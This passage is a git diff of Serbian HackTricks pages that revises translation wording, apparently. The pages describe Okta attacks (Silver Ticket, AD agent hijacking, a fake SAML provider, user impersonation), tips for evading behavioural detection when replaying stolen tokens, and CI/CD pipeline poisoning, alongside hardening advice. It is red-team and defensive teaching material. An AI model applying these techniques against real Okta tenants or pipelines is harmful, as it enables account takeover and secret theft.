tiketa**, **ubacite** ga u kontrolisani host koristeći alate kao što su Rubeus ili Mimikatz, osiguravajući da je **`clientname.kerberos.okta.com` u "Intranet" zoni Internet opcija**. Pristup određenom URL-u trebao bi da vrati JSON "OK" odgovor, što ukazuje na prihvatanje Kerberos tiketa i omogućava pristup Okta kontrolnoj tabli. Kompromitovanje **Okta servisnog naloga sa delegacijom SPN omogućava Silver Ticket napad.** Međutim, korišćenje **AES** za enkripciju tiketa zahteva posedovanje AES ključa ili lozinke u običnom tekstu. Koristite **`ticketer.py` da generišete tiket za korisnika žrtve** i isporučite ga putem pregledača da biste se autentifikovali sa Okta. **Proverite napad u** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -### Otimanje Okta AD Agenta +### Otimanje Okta AD agenta -Ova tehnika uključuje **pristupanje Okta AD Agentu na serveru**, koji **sinhronizuje korisnike i upravlja autentifikacijom**. Istražujući i dekriptovanjem konfiguracija u **`OktaAgentService.exe.config`**, posebno AgentToken koristeći **DPAPI**, napadač može potencijalno **presresti i manipulisati podacima o autentifikaciji**. Ovo omogućava ne samo **praćenje** i **hvatanje korisničkih podataka** u običnom tekstu tokom Okta procesa autentifikacije, već i **odgovaranje na pokušaje autentifikacije**, čime se omogućava neovlašćen pristup ili pružanje univerzalne autentifikacije putem Okta (slično 'skeleton key'). +Ova tehnika uključuje **pristupanje Okta AD agentu na serveru**, koji **sinhronizuje korisnike i upravlja autentifikacijom**. Istražujući i dekriptovanjem konfiguracija u **`OktaAgentService.exe.config`**, posebno AgentToken koristeći **DPAPI**, napadač može potencijalno **presresti i manipulisati podacima o autentifikaciji**. Ovo omogućava ne samo **praćenje** i **hvatanje korisničkih podataka** u običnom tekstu tokom Okta procesa autentifikacije, već i **odgovaranje na pokušaje autentifikacije**, čime se omogućava neovlašćen pristup ili pružanje univerzalne autentifikacije putem Okta (slično 'skeleton key'). **Proverite napad u** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -### Otimanje AD kao Administrator +### Otimanje AD kao administrator -Ova tehnika uključuje otimanje Okta AD Agenta prvo dobijanjem OAuth Koda, a zatim traženjem API tokena. Token je povezan sa AD domenom, a **konektor je imenovan da uspostavi lažni AD agent**. Inicijalizacija omogućava agentu da **obrađuje pokušaje autentifikacije**, hvatajući podatke putem Okta API-ja. Alati za automatizaciju su dostupni za pojednostavljenje ovog procesa, nudeći besprekornu metodu za presretanje i rukovanje podacima o autentifikaciji unutar Okta okruženja. +Ova tehnika uključuje otimanje Okta AD agenta prvo dobijanjem OAuth koda, a zatim traženjem API tokena. Token je povezan sa AD domenom, a **konektor je imenovan da uspostavi lažni AD agent**. Inicijalizacija omogućava agentu da **obrađuje pokušaje autentifikacije**, hvatajući kredencijale putem Okta API-ja. Alati za automatizaciju su dostupni za pojednostavljenje ovog procesa, nudeći besprekornu metodu za presretanje i rukovanje podacima o autentifikaciji unutar Okta okruženja. **Proverite napad u** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -### Lažni Okta SAML Pružalac +### Lažni Okta SAML provajder **Proverite napad u** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -Tehnika uključuje **implementaciju lažnog SAML pružaoca**. Integracijom spoljnog Identity Providera (IdP) unutar Okta okvira koristeći privilegovani nalog, napadači mogu **kontrolisati IdP, odobravajući bilo koji zahtev za autentifikaciju po želji**. Proces podrazumeva postavljanje SAML 2.0 IdP u Okta, manipulaciju IdP Single Sign-On URL-om za preusmeravanje putem lokalnog hosts fajla, generisanje samopotpisanog sertifikata i konfiguraciju Okta postavki da se podudaraju sa korisničkim imenom ili email-om. Uspešno izvršavanje ovih koraka omogućava autentifikaciju kao bilo koji Okta korisnik, zaobilazeći potrebu za pojedinačnim korisničkim podacima, značajno povećavajući kontrolu pristupa na potencijalno neprimetan način. +Tehnika uključuje **implementaciju lažnog SAML provajdera**. Integracijom spoljnog provajdera identiteta (IdP) unutar Okta okvira koristeći privilegovani nalog, napadači mogu **kontrolisati IdP, odobravajući bilo koji zahtev za autentifikaciju po želji**. Proces podrazumeva postavljanje SAML 2.0 IdP u Okta, manipulaciju IdP Single Sign-On URL-om za preusmeravanje putem lokalnog hosts fajla, generisanje samopotpisanog sertifikata i konfiguraciju Okta postavki da se podudaraju sa korisničkim imenom ili email-om. Uspešno izvršavanje ovih koraka omogućava autentifikaciju kao bilo koji Okta korisnik, zaobilazeći potrebu za pojedinačnim korisničkim podacima, značajno povećavajući kontrolu pristupa na potencijalno neprimetan način. -### Phishing Okta Portala sa Evilgnix +### Phishing Okta portala sa Evilgnix U [**ovom blog postu**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) objašnjeno je kako pripremiti phishing kampanju protiv Okta portala. -### Napad imitacije kolege +### Napad impersonacije kolege -**atributi koje svaki korisnik može imati i modifikovati** (kao što su email ili ime) mogu se konfigurisati u Okta. Ako je **aplikacija** **pouzdana** kao ID **atribut** koji korisnik može **modifikovati**, moći će da **imitira druge korisnike na toj platformi**. +**atributi koje svaki korisnik može imati i modifikovati** (kao što su email ili ime) mogu se konfigurisati u Okta. Ako je **aplikacija** **verujuća** kao ID **atribut** koji korisnik može **modifikovati**, moći će da **imituje druge korisnike na toj platformi**. Stoga, ako aplikacija veruje polju **`userName`**, verovatno nećete moći da ga promenite (jer obično ne možete promeniti to polje), ali ako veruje na primer **`primaryEmail`** možda ćete moći da **promenite na email adresu kolege** i imitirati ga (trebaće vam pristup email-u i da prihvatite promenu). @@ -88,17 +88,17 @@ Najbolji način da saznate da li možete imitirati nekoga na svakoj aplikaciji b ## Izbegavanje politika detekcije ponašanja -Politike detekcije ponašanja u Okta možda su nepoznate dok se ne susretnete s njima, ali **zaobilaženje** njih može se postići **ciljanjem Okta aplikacija direktno**, izbegavajući glavnu Okta kontrolnu tablu. Sa **Okta pristupnim tokenom**, ponovo upotrebite token na **URL-u specifičnom za aplikaciju Okta** umesto na glavnoj stranici za prijavu. +Politike detekcije ponašanja u Okta mogu biti nepoznate dok se ne susretnete s njima, ali **zaobilaženje** njih može se postići **ciljanjem Okta aplikacija direktno**, izbegavajući glavnu Okta kontrolnu tablu. Sa **Okta pristupnim tokenom**, ponovo upotrebite token na **URL-u specifičnom za aplikaciju Okta** umesto na glavnoj stranici za prijavu. Ključne preporuke uključuju: -- **Izbegavajte korišćenje** popularnih anonimnih proksija i VPN usluga prilikom ponovnog korišćenja uhvaćenih pristupnih tokena. -- Osigurajte **dosledne user-agent stringove** između klijenta i ponovo korišćenih pristupnih tokena. +- **Izbegavajte korišćenje** popularnih anonimnih proxy-a i VPN usluga prilikom ponovnog korišćenja uhvaćenih pristupnih tokena. +- Osigurajte **dosledne korisničke agent stringove** između klijenta i ponovo korišćenih pristupnih tokena. - **Izbegavajte ponovnu upotrebu** tokena od različitih korisnika sa iste IP adrese. -- Budite oprezni prilikom ponovnog korišćenja tokena protiv Okta kontrolne table. +- Budite oprezni prilikom ponovne upotrebe tokena protiv Okta kontrolne table. - Ako ste svesni IP adresa kompanije žrtve, **ograničite saobraćaj** na te IP adrese ili njihov opseg, blokirajući sav ostali saobraćaj. -## Okta Ojačavanje +## Okta jačanje Okta ima mnogo mogućih konfiguracija, na ovoj stranici ćete pronaći kako da ih pregledate kako bi bile što sigurnije: diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md index 6633d8aab..0b33e085f 100644 --- a/src/pentesting-ci-cd/okta-security/okta-hardening.md +++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md @@ -6,7 +6,7 @@ ### People -Iz perspektive napadača, ovo je veoma zanimljivo jer ćete moći da vidite **sve registrovane korisnike**, njihove **email** adrese, **grupe** kojima pripadaju, **profile** i čak **uređaje** (mobilne telefone zajedno sa njihovim OS-ovima). +Iz perspektive napadača, ovo je veoma zanimljivo jer ćete moći da vidite **sve registrovane korisnike**, njihove **email** adrese, **grupe** kojima pripadaju, **profile** i čak **uređaje** (mobilne telefone zajedno sa njihovim operativnim sistemima). Za pregled u beloj kutiji proverite da nema više od nekoliko "**Pending user action**" i "**Password reset**". @@ -15,19 +15,19 @@ Za pregled u beloj kutiji proverite da nema više od nekoliko "**Pending user ac Ovde možete pronaći sve kreirane grupe u Okta. Zanimljivo je razumeti različite grupe (set **dozvola**) koje mogu biti dodeljene **korisnicima**.\ Moguće je videti **ljude uključene u grupe** i **aplikacije dodeljene** svakoj grupi. -Naravno, svaka grupa sa imenom **admin** je zanimljiva, posebno grupa **Global Administrators**, proverite članove da saznate ko su najprivilegovaniji članovi. +Naravno, svaka grupa sa imenom **admin** je zanimljiva, posebno grupa **Global Administrators,** proverite članove da saznate ko su najprivilegovaniji članovi. -Iz pregleda u beloj kutiji, **ne bi trebalo da bude više od 5 globalnih admina** (bolje je ako ih ima samo 2 ili 3). +Iz pregleda u beloj kutiji, ne **bi trebalo da bude više od 5 globalnih admina** (bolje je ako ih ima samo 2 ili 3). ### Devices -Ovde pronađite **listu svih uređaja** svih korisnika. Takođe možete videti da li se **aktivno upravlja** njima ili ne. +Ovde pronađite **listu svih uređaja** svih korisnika. Takođe možete videti da li je **aktivno upravljano** ili ne. ### Profile Editor Ovde je moguće posmatrati kako se ključne informacije kao što su imena, prezimena, emailovi, korisnička imena... dele između Okta i drugih aplikacija. Ovo je zanimljivo jer ako korisnik može **modifikovati u Okta polje** (kao što je njegovo ime ili email) koje se zatim koristi od strane **spoljne aplikacije** za **identifikaciju** korisnika, insajder bi mogao pokušati da **preuzme druge naloge**. -Štaviše, u profilu **`User (default)`** iz Okta možete videti **koja polja** svaki **korisnik** ima i koja su **pisiva** od strane korisnika. Ako ne možete videti admin panel, jednostavno idite na **ažuriranje informacija o profilu** i videćete koja polja možete ažurirati (napomena: da biste ažurirali email adresu, moraćete da je verifikujete). +Štaviše, u profilu **`User (default)`** iz Okta možete videti **koja polja** svaki **korisnik** ima i koja su **pisiva** od strane korisnika. Ako ne možete videti admin panel, jednostavno idite na **ažuriranje informacija o profilu** i videćete koja polja možete ažurirati (napomena da za ažuriranje email adrese morate da je verifikujete). ### Directory Integrations @@ -39,23 +39,23 @@ Nisam to video, ali pretpostavljam da je zanimljivo otkriti **druge direktorijum Izvor profila je **aplikacija koja deluje kao izvor istine** za atribute korisničkog profila. Korisnik može biti izvor samo iz jedne aplikacije ili direktorijuma u isto vreme. -Nisam to video, tako da su sve informacije o bezbednosti i hakovanju u vezi sa ovom opcijom dobrodošle. +Nisam to video, pa su sve informacije o bezbednosti i hakovanju u vezi sa ovom opcijom dobrodošle. ## Customizations ### Brands -Proverite u **Domains** tabu ove sekcije email adrese korišćene za slanje emailova i prilagođeni domen unutar Okta kompanije (što verovatno već znate). +Proverite u **Domains** tabu ovog dela email adrese korišćene za slanje emailova i prilagođeni domen unutar Okta kompanije (što verovatno već znate). Štaviše, u **Setting** tabu, ako ste admin, možete "**Use a custom sign-out page**" i postaviti prilagođeni URL. ### SMS -Ovde nema ništa zanimljivo. +Nema ništa zanimljivo ovde. ### End-User Dashboard -Ovde možete pronaći aplikacije koje su konfigurirane, ali ćemo detalje o njima videti kasnije u drugoj sekciji. +Ovde možete pronaći konfigurirane aplikacije, ali ćemo videti detalje o njima kasnije u drugom odeljku. ### Other @@ -91,9 +91,9 @@ Nisam to video korišćeno, ali pretpostavljam da je iz odbrambene tačke gledi - **CAPTCHA integration**: Preporučuje se postavljanje barem nevidljivog reCaptche - **Organization Security**: Sve može biti omogućeno i aktivacione email adrese ne bi trebale dugo trajati (7 dana je u redu) - **User enumeration prevention**: Obe bi trebale biti omogućene -- Imajte na umu da User Enumeration Prevention ne stupa na snagu ako su dozvoljeni bilo koji od sledećih uslova (Pogledajte [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) za više informacija): -- Samostalna registracija -- JIT tokovi sa email autentifikacijom +- Napomena da User Enumeration Prevention ne stupa na snagu ako je bilo koja od sledećih uslova dozvoljena (Pogledajte [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) za više informacija): +- Self-Service Registration +- JIT flows with email authentication - **Okta ThreatInsight settings**: Zabeležite i primenite bezbednost na osnovu nivoa pretnje ### HealthInsight @@ -108,13 +108,13 @@ U **Enrollment** tabu možete videti kako su one koje su obavezne ili opcione:
-Preporučuje se onemogućavanje telefona. Najjače su verovatno kombinacije lozinke, emaila i WebAuthn. +Preporučuje se onemogućavanje telefona. Najjače su verovatno kombinacija lozinke, emaila i WebAuthn. ### Authentication policies Svaka aplikacija ima politiku autentifikacije. Politika autentifikacije proverava da li korisnici koji pokušavaju da se prijave u aplikaciju ispunjavaju određene uslove, i primenjuje zahteve faktora na osnovu tih uslova. -Ovde možete pronaći **zahteve za pristup svakoj aplikaciji**. Preporučuje se da se zahteva barem lozinka i još jedna metoda za svaku aplikaciju. Ali ako kao napadač pronađete nešto slabije, mogli biste to napasti. +Ovde možete pronaći **zahteve za pristup svakoj aplikaciji**. Preporučuje se da se zahteva barem lozinka i još jedna metoda za svaku aplikaciju. Ali ako kao napadač pronađete nešto slabije, možda ćete moći da napadnete to. ### Global Session Policy @@ -122,13 +122,13 @@ Ovde možete pronaći politike sesije dodeljene različitim grupama. Na primer:
-Preporučuje se zahtevati MFA, ograničiti trajanje sesije na nekoliko sati, ne čuvati kolačiće sesije preko ekstenzija pretraživača i ograničiti lokaciju i provajdera identiteta (ako je to moguće). Na primer, ako svaki korisnik treba da se prijavi iz određene zemlje, mogli biste dozvoliti samo tu lokaciju. +Preporučuje se da se zahteva MFA, ograniči trajanje sesije na nekoliko sati, ne čuvajte kolačiće sesije preko ekstenzija pretraživača i ograničite lokaciju i Identity Provider (ako je to moguće). Na primer, ako svaki korisnik treba da se prijavi iz određene zemlje, mogli biste dozvoliti samo tu lokaciju. ### Identity Providers -Provajderi identiteta (IdP) su usluge koje **upravljaju korisničkim nalozima**. Dodavanje IdP-a u Okta omogućava vašim krajnjim korisnicima da se **samo-registruju** sa vašim prilagođenim aplikacijama prvo autentifikovanjem sa društvenim nalogom ili pametnom karticom. +Identity Providers (IdPs) su usluge koje **upravljaju korisničkim nalozima**. Dodavanje IdP-a u Okta omogućava vašim krajnjim korisnicima da se **samo-registruju** sa vašim prilagođenim aplikacijama prvo autentifikovanjem sa društvenim nalogom ili pametnom karticom. -Na stranici Provajderi identiteta možete dodati društvene prijave (IdP) i konfigurisati Okta kao provajdera usluga (SP) dodavanjem ulaznog SAML-a. Nakon što dodate IdP, možete postaviti pravila usmeravanja kako biste usmerili korisnike ka IdP-u na osnovu konteksta, kao što su lokacija korisnika, uređaj ili email domena. +Na stranici Identity Providers, možete dodati društvene prijave (IdPs) i konfigurisati Okta kao provajdera usluga (SP) dodavanjem ulaznog SAML-a. Nakon što dodate IdP-e, možete postaviti pravila usmeravanja da usmerite korisnike ka IdP-u na osnovu konteksta, kao što su lokacija korisnika, uređaj ili email domena. **Ako je bilo koji provajder identiteta konfiguran** iz perspektive napadača i branioca proverite tu konfiguraciju i **da li je izvor zaista pouzdan** jer bi napadač koji ga kompromituje mogao takođe dobiti pristup Okta okruženju. @@ -154,7 +154,7 @@ Iz perspektive napadača zanimljivo je znati koje IP adrese su dozvoljene (i pro ### API -Možete kreirati Okta API tokene na ovoj stranici, i videti one koji su **kreirani**, njihove **privilegije**, **vreme isteka** i **Izvorne URL-ove**. Imajte na umu da se API tokeni generišu sa dozvolama korisnika koji je kreirao token i važe samo ako je **korisnik** koji ih je kreirao **aktivan**. +Možete kreirati Okta API tokene na ovoj stranici, i videti one koji su **kreirani**, njihove **privilegije**, **vreme isteka** i **Origin URLs**. Napomena da se API tokeni generišu sa dozvolama korisnika koji je kreirao token i važe samo ako je **korisnik** koji ih je kreirao **aktivan**. **Trusted Origins** omogućavaju pristup veb sajtovima koje kontrolišete i kojima verujete da pristupaju vašem Okta okruženju putem Okta API-ja. @@ -166,13 +166,13 @@ Ne bi trebalo da bude puno API tokena, jer ako ih ima, napadač bi mogao pokuša Automatizacije vam omogućavaju da kreirate automatske akcije koje se pokreću na osnovu skupa uslova okidača koji se javljaju tokom životnog ciklusa krajnjih korisnika. -Na primer, uslov bi mogao biti "Neaktivnost korisnika u Okta" ili "Isticanje lozinke korisnika u Okta" i akcija bi mogla biti "Pošaljite email korisniku" ili "Promenite stanje životnog ciklusa korisnika u Okta". +Na primer, uslov bi mogao biti "Neaktivnost korisnika u Okta" ili "Istek lozinke korisnika u Okta" i akcija bi mogla biti "Pošaljite email korisniku" ili "Promenite stanje životnog ciklusa korisnika u Okta". ## Reports ### Reports -Preuzmite logove. Oni se **šalju** na **email adresu** trenutnog naloga. +Preuzmite logove. Oni su **poslati** na **email adresu** trenutnog naloga. ### System Log @@ -190,7 +190,7 @@ Proverite dostignute API limite. ### Account -Ovde možete pronaći **opšte informacije** o Okta okruženju, kao što su ime kompanije, adresa, **email kontakt za fakturiranje**, **email kontakt za tehničku podršku** i takođe ko bi trebao primati Okta ažuriranja i koja vrsta Okta ažuriranja. +Ovde možete pronaći **opšte informacije** o Okta okruženju, kao što su ime kompanije, adresa, **email kontakt za fakturiranje**, **email tehnički kontakt** i takođe ko bi trebao da prima Okta ažuriranja i koje vrste Okta ažuriranja. ### Downloads diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 380a58275..a41e171d0 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -1,4 +1,4 @@ -# Pentesting CI/CD Methodology +# Pentesting CI/CD Metodologija {{#include ../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ ## VCS -VCS označava **Sistem za kontrolu verzija**, ovaj sistem omogućava programerima da **upravljaju svojim izvorni kodom**. Najčešći je **git** i obično ćete pronaći kompanije koje ga koriste na jednoj od sledećih **platformi**: +VCS označava **Sistem Kontrole Verzija**, ovaj sistem omogućava programerima da **upravljaju svojim izvorni kodom**. Najčešći je **git** i obično ćete naći kompanije koje ga koriste na jednoj od sledećih **platformi**: - Github - Gitlab @@ -16,23 +16,23 @@ VCS označava **Sistem za kontrolu verzija**, ovaj sistem omogućava programerim ## CI/CD Pipelines -CI/CD pipelines omogućavaju programerima da **automatizuju izvršenje koda** za različite svrhe, uključujući izgradnju, testiranje i implementaciju aplikacija. Ovi automatizovani radni tokovi se **pokreću specifičnim akcijama**, kao što su push-ovi koda, pull zahtevi ili zakazani zadaci. Oni su korisni za pojednostavljenje procesa od razvoja do produkcije. +CI/CD pipelines omogućavaju programerima da **automatizuju izvršavanje koda** za različite svrhe, uključujući izgradnju, testiranje i implementaciju aplikacija. Ovi automatizovani radni tokovi se **pokreću specifičnim akcijama**, kao što su push-ovi koda, pull zahtevi ili zakazani zadaci. Korisni su za pojednostavljenje procesa od razvoja do produkcije. Međutim, ovi sistemi moraju biti **izvršeni negde** i obično sa **privilegovanim akreditivima za implementaciju koda ili pristup osetljivim informacijama**. -## VCS Pentesting Methodology +## VCS Pentesting Metodologija > [!NOTE] > Čak i ako neke VCS platforme omogućavaju kreiranje pipelines, u ovoj sekciji ćemo analizirati samo potencijalne napade na kontrolu izvornog koda. -Platforme koje sadrže izvorni kod vašeg projekta sadrže osetljive informacije i ljudi moraju biti veoma oprezni sa dozvolama dodeljenim unutar ove platforme. Ovo su neki uobičajeni problemi na VCS platformama koje napadač može zloupotrebiti: +Platforme koje sadrže izvorni kod vašeg projekta sadrže osetljive informacije i ljudi moraju biti veoma oprezni sa dozvolama dodeljenim unutar ove platforme. Ovo su neki uobičajeni problemi na VCS platformama koje napadači mogu zloupotrebiti: -- **Leaking**: Ako vaš kod sadrži leak-ove u commit-ima i napadač može pristupiti repozitorijumu (jer je javan ili jer ima pristup), mogao bi otkriti leak-ove. +- **Leaking**: Ako vaš kod sadrži curenja u commit-ima i napadač može pristupiti repozitorijumu (jer je javan ili jer ima pristup), mogao bi otkriti curenja. - **Pristup**: Ako napadač može **pristupiti nalogu unutar VCS platforme**, mogao bi dobiti **veću vidljivost i dozvole**. - **Registracija**: Neke platforme će samo omogućiti spoljnim korisnicima da kreiraju nalog. - **SSO**: Neke platforme neće dozvoliti korisnicima da se registruju, ali će omogućiti svakome da pristupi sa važećim SSO (tako da napadač može koristiti svoj github nalog da uđe, na primer). - **Akreditivi**: Korisničko ime+Lozinka, lični tokeni, ssh ključevi, Oauth tokeni, kolačići... postoji nekoliko vrsta tokena koje korisnik može ukrasti da bi na neki način pristupio repozitorijumu. -- **Webhooks**: VCS platforme omogućavaju generisanje webhooks. Ako nisu **zaštićeni** nevidljivim tajnama, **napadač bi mogao da ih zloupotrebi**. +- **Webhook-ovi**: VCS platforme omogućavaju generisanje webhook-ova. Ako nisu **zaštićeni** nevidljivim tajnama, **napadač bi mogao da ih zloupotrebi**. - Ako nema tajne, napadač bi mogao zloupotrebiti webhook treće strane - Ako je tajna u URL-u, isto se dešava i napadač takođe ima tajnu - **Kompromitovanje koda:** Ako zlonameran akter ima neku vrstu **write** pristupa nad repozitorijumima, mogao bi pokušati da **ubaci zlonamerni kod**. Da bi bio uspešan, možda će morati da **obiđe zaštite grana**. Ove akcije se mogu izvesti sa različitim ciljevima na umu: @@ -40,16 +40,16 @@ Platforme koje sadrže izvorni kod vašeg projekta sadrže osetljive informacije - Kompromitovati glavnu (ili druge grane) da bi **kompromitovao mašine programera** (jer obično izvršavaju testove, terraform ili druge stvari unutar repozitorijuma na svojim mašinama). - **Kompromitovati pipeline** (proverite sledeću sekciju) -## Pipelines Pentesting Methodology +## Pipelines Pentesting Metodologija -Najčešći način da se definiše pipeline je korišćenjem **CI konfiguracione datoteke smeštene u repozitorijumu** koji pipeline gradi. Ova datoteka opisuje redosled izvršenih poslova, uslove koji utiču na tok i postavke okruženja za izgradnju.\ -Ove datoteke obično imaju dosledno ime i format, na primer — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), i YAML datoteke GitHub Actions smeštene pod .github/workflows. Kada se pokrene, posao pipeline-a **povlači kod** iz odabranog izvora (npr. commit / grana), i **izvodi komande navedene u CI konfiguracionoj datoteci** protiv tog koda. +Najčešći način da se definiše pipeline je korišćenjem **CI konfiguracione datoteke koja se hostuje u repozitorijumu** koji pipeline gradi. Ova datoteka opisuje redosled izvršenih poslova, uslove koji utiču na tok i postavke okruženja za izgradnju.\ +Ove datoteke obično imaju dosledno ime i format, na primer — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), i YAML datoteke GitHub Actions smeštene pod .github/workflows. Kada se pokrene, posao pipeline-a **povlači kod** iz odabranog izvora (npr. commit / grana), i **izvršava komande navedene u CI konfiguracionoj datoteci** protiv tog koda. Stoga je krajnji cilj napadača da na neki način **kompromituje te konfiguracione datoteke** ili **komande koje izvršavaju**. -### PPE - Poisoned Pipeline Execution +### PPE - Izvršenje Zagađenog Pipeline-a -Putanja Poisoned Pipeline Execution (PPE) koristi dozvole u SCM repozitorijumu da manipuliše CI pipeline-om i izvrši štetne komande. Korisnici sa potrebnim dozvolama mogu modifikovati CI konfiguracione datoteke ili druge datoteke koje koristi posao pipeline-a da uključe zlonamerne komande. Ovo "otrovava" CI pipeline, što dovodi do izvršenja ovih zlonamernih komandi. +Putanja Izvršenja Zagađenog Pipeline-a (PPE) koristi dozvole u SCM repozitorijumu da manipuliše CI pipeline-om i izvršava štetne komande. Korisnici sa potrebnim dozvolama mogu modifikovati CI konfiguracione datoteke ili druge datoteke koje koristi posao pipeline-a da uključe zlonamerne komande. Ovo "zagađuje" CI pipeline, što dovodi do izvršenja ovih zlonamernih komandi. Da bi zlonameran akter bio uspešan u izvođenju PPE napada, mora biti u mogućnosti da: @@ -60,44 +60,44 @@ Da bi zlonameran akter bio uspešan u izvođenju PPE napada, mora biti u mogućn Postoje 3 vrste PPE: -- **D-PPE**: **Direktni PPE** napad se dešava kada akter **modifikuje CI konfiguraciju** datoteke koja će biti izvršena. -- **I-DDE**: **Indirektni PPE** napad se dešava kada akter **modifikuje** **datoteku** na koju se CI konfiguraciona datoteka oslanja (kao što je make datoteka ili terraform konfiguracija). -- **Javni PPE ili 3PE**: U nekim slučajevima pipelines mogu biti **pokrenuti od strane korisnika koji nemaju write pristup u repozitorijumu** (i koji možda nisu ni deo organizacije) jer mogu poslati PR. -- **3PE Injekcija komandi**: Obično, CI/CD pipelines će **postaviti promenljive okruženja** sa **informacijama o PR-u**. Ako tu vrednost može kontrolisati napadač (kao što je naslov PR-a) i koristi se na **opasnom mestu** (kao što je izvršavanje **sh komandi**), napadač može **ubaciti komande tamo**. +- **D-PPE**: **Direktan PPE** napad se dešava kada akter **modifikuje CI konfiguraciju** datoteku koja će biti izvršena. +- **I-DDE**: **Indirektan PPE** napad se dešava kada akter **modifikuje** **datoteku** na koju se CI konfiguraciona datoteka oslanja (kao što je make datoteka ili terraform konfiguracija). +- **Javni PPE ili 3PE**: U nekim slučajevima, pipelines mogu biti **pokrenuti od strane korisnika koji nemaju write pristup u repozitorijumu** (i koji možda čak nisu ni deo organizacije) jer mogu poslati PR. +- **3PE Injekcija Komandi**: Obično, CI/CD pipelines će **postaviti promenljive okruženja** sa **informacijama o PR-u**. Ako tu vrednost može kontrolisati napadač (kao što je naslov PR-a) i koristi se na **opasnom mestu** (kao što je izvršavanje **sh komandi**), napadač može **ubaciti komande tamo**. -### Exploitation Benefits +### Prednosti Eksploatacije -Poznavanje 3 vrste za toksičnost pipeline-a, hajde da proverimo šta napadač može dobiti nakon uspešne eksploatacije: +Poznavanje 3 vrste za zagađenje pipeline-a, hajde da proverimo šta napadač može dobiti nakon uspešne eksploatacije: - **Tajne**: Kao što je ranije pomenuto, pipelines zahtevaju **privilegije** za svoje poslove (preuzimanje koda, izgradnja, implementacija...) i te privilegije se obično **dodeljuju u tajnama**. Ove tajne su obično dostupne putem **env promenljivih ili datoteka unutar sistema**. Stoga će napadač uvek pokušati da eksfiltrira što više tajni. - U zavisnosti od platforme pipeline-a, napadač **može morati da specificira tajne u konfiguraciji**. To znači da ako napadač ne može da modifikuje CI konfiguracioni pipeline (**I-PPE**, na primer), može **samo eksfiltrirati tajne koje taj pipeline ima**. - **Računanje**: Kod se izvršava negde, u zavisnosti od toga gde se izvršava, napadač bi mogao biti u mogućnosti da se dalje preusmeri. -- **Na lokaciji**: Ako se pipelines izvršavaju na lokaciji, napadač bi mogao završiti u **internoj mreži sa pristupom više resursima**. -- **Cloud**: Napadač bi mogao pristupiti **drugim mašinama u cloudu**, ali takođe bi mogao **eksfiltrirati** IAM uloge/service accounts **tokena** iz njega da bi dobio **dalji pristup unutar clouda**. -- **Mašine platforme**: Ponekad će poslovi biti izvršeni unutar **mašina platforme pipelines**, koje obično su unutar clouda sa **nema više pristupa**. +- **Na Mestu**: Ako se pipelines izvršavaju na mestu, napadač bi mogao završiti u **internoj mreži sa pristupom više resursima**. +- **Cloud**: Napadač bi mogao pristupiti **drugim mašinama u cloud-u**, ali takođe bi mogao **eksfiltrirati** IAM uloge/token-e servisnih naloga **iz njega** da bi dobio **dalji pristup unutar cloud-a**. +- **Mašine platforme**: Ponekad će poslovi biti izvršeni unutar **mašina platforme pipelines**, koje obično su unutar cloud-a sa **nema više pristupa**. - **Izaberi to:** Ponekad će **platforma pipelines imati konfigurisanih nekoliko mašina** i ako možete **modifikovati CI konfiguracionu datoteku**, možete **naznačiti gde želite da izvršite zlonamerni kod**. U ovoj situaciji, napadač će verovatno pokrenuti reverznu ljusku na svakoj mogućoj mašini da pokuša da je dalje eksploatiše. -- **Kompromitovanje produkcije**: Ako ste unutar pipeline-a i konačna verzija se gradi i implementira iz njega, mogli biste **kompromitovati kod koji će na kraju biti pokrenut u produkciji**. +- **Kompromitovanje produkcije**: Ako ste unutar pipeline-a i konačna verzija se gradi i implementira iz njega, mogli biste **kompromitovati kod koji će se na kraju izvršavati u produkciji**. -## More relevant info +## Više relevantnih informacija -### Tools & CIS Benchmark +### Alati & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) je open-source alat za reviziju vašeg softverskog lanca snabdevanja za bezbednosnu usklađenost zasnovan na novom [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Revizija se fokusira na ceo SDLC proces, gde može otkriti rizike od vremena koda do vremena implementacije. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) je alat otvorenog koda za reviziju vašeg softverskog lanca snabdevanja za bezbednosnu usklađenost zasnovan na novom [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Revizija se fokusira na ceo SDLC proces, gde može otkriti rizike od vremena koda do vremena implementacije. -### Top 10 CI/CD Security Risk +### Top 10 CI/CD Bezbednosnih Rizika Proverite ovaj zanimljiv članak o top 10 CI/CD rizicima prema Cider-u: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) -### Labs +### Laboratorije - Na svakoj platformi koju možete pokrenuti lokalno naći ćete kako da je pokrenete lokalno tako da je možete konfigurisati kako želite da je testirate -- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) +- Gitea + Jenkins laboratorija: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) -### 